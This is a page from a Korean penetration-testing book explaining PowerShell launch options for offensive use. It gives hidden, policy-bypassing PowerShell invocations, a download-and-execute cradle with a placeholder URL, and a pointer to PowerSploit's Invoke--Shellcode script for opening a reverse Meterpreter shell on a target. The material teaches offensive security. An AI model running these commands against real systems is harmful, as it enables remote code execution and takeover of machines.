더북(TheBook)

32비트 또는 64비트 파워셸

이 부분 역시 중요하다. 일부 스크립트는 특정 플랫폼에서만 실행하므로, 64비트 환경에 있다면 64비트 파워셸에서 명령을 실행해야 한다.

32비트 파워셸 실행

powershell.exe -NoP -NonI -W Hidden -Exec Bypass

64비트 파워셸 실행

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

다음 파워셸 명령 일부를 살펴보면서 파워셸을 이해해 보자. 첫 번째 명령은 웹 서버에서 파워셸 스크립트를 다운로드해 실행한다. 대개 Meterpreter 파워셸 스크립트를 목표물에 다운로드해서 사용한다.

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('[파워셸 URL]'); [파라미터]

예를 들어, 목표물에서 Meterpreter 셸을 실행하려면 다음 스크립트를 다운로드한다.

https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1

또 사용할 파라미터도 알아야 한다. 어떤 파라미터가 필요한지 알아내는 가장 쉬운 방법은 파워셸 스크립트의 소스 코드를 살펴보는 것이다. Mattifestation이 작성한 Invoke--Shellcode.ps1 파일을 열면, HTTPS 리버스 Meterpreter 셸을 호출하는 코드가 있다.

038

▲ 그림 1-1 Invoke--Shellcode.ps1

신간 소식 구독하기
뉴스레터에 가입하시고 이메일로 신간 소식을 받아 보세요.